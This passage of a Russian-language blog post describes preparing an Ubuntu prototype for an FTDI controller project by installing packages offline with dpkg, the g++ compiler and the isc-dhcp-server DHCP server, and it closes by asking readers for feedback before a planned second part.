    Помимо непосредственного контакта с контроллером, требуется создать экосистему, позволяющую компилировать проект (мне показалось удобным это делать на прототипе, а не на рабочей машине с кросс компиляцией), выделять IP адрес для управляющего компьютера пользователя. Самый удобный вариант установки дополнительных пакетов — использование онлайн хранилища deb пакетов, доступного через apt-get, что работает при подключении к интернету. К счастью, это не единственный вариант установки. Если хочется не зависеть от интернета и каких-то изменений в библиотеках и пакетах, то можно выкачать нужные пакеты и устанавливать их самому с помощью:

    sudo dpkg -i <имя_пакета>.deb

    Но для этого нужно знать все зависимости. К примеру, установка isc-dhcp-server потянула у меня следующие пакеты:

    — libisccfg-export140
    — libirs-export141
    — isc-dhcp-server_4.3.3

    Для начала, подключаем к интернету сервер через маршрутизатор, который ему выделит IP (если что ищите в поисковике настройки файла /etc/network/interfaces ), и делаем следующее:

    Установка компилятора
    Примеры драйверов FTD3XX от FTDI написаны на C++11. Можно ставить компилятор g++, а при компиляции нужно будет указать опцию -std=c++11
    sudo apt-get install g++


    Вводим пароль и соглашаемся.

    Теперь в папке, где есть правильный Makefile можно написать
    make
    и будет компилироваться проект, но об этом позже.

    Установка DHCP сервера
    Я использовал isc-dhcp-server. На ubunte пишем:
    sudo apt-get install isc-dhcp-server

    Вводим пароль и соглашаемся.
  4. Ставим драйвер от FTDI
  5. Компилируем программу
  6. Делаем демона для автозагрузки и слежения за программой
  7. Контролируем процессы

На данном этапе хочу остановиться и посмотреть отзывы уважаемых читателей, а главное знающих людей. Может стоит вносить коррективы. Тем не менее, по результатам появится вторая часть, более содержательная.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334948/


Метки:  

Поиск сообщений в rss_rss_hh_new
Страницы: 1437 ... 1082 1081 [1080] 1079 1078 ..
.. 1 Календарь